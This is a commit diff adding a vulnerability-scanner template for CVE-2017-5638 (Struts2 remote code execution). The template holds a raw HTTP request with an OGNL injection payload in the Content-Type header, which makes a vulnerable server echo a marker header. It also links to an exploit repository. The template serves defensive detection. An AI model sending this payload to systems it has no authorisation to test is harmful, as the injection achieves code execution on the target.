commit
ae84b3552b
|
@ -0,0 +1,29 @@
|
||||||
|
id: CVE-2017-5638
|
||||||
|
info:
|
||||||
|
author: "Random Robbie"
|
||||||
|
name: "Struts2 RCE "
|
||||||
|
severity: critical
|
||||||
|
|
||||||
|
# This template supports the detection part only.
|
||||||
|
# Do not test any website without permission
|
||||||
|
# Exploit:- https://github.com/mazen160/struts-pwn
|
||||||
|
|
||||||
|
|
||||||
|
requests:
|
||||||
|
- raw:
|
||||||
|
- |
|
||||||
|
GET / HTTP/1.1
|
||||||
|
Host: {{Hostname}}
|
||||||
|
Accept-Charset: iso-8859-1,utf-8;q=0.9,*;q=0.1
|
||||||
|
Accept-Language: en
|
||||||
|
Content-Type: %{#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse'].addHeader('X-Hacker','Bounty Plz')}.multipart/form-data
|
||||||
|
Connection: Keep-Alive
|
||||||
|
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0)
|
||||||
|
Pragma: no-cache
|
||||||
|
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*
|
||||||
|
|
||||||
|
matchers:
|
||||||
|
- type: word
|
||||||
|
words:
|
||||||
|
- "Bounty Plz"
|
||||||
|
part: header
|
Loading…
Reference in New Issue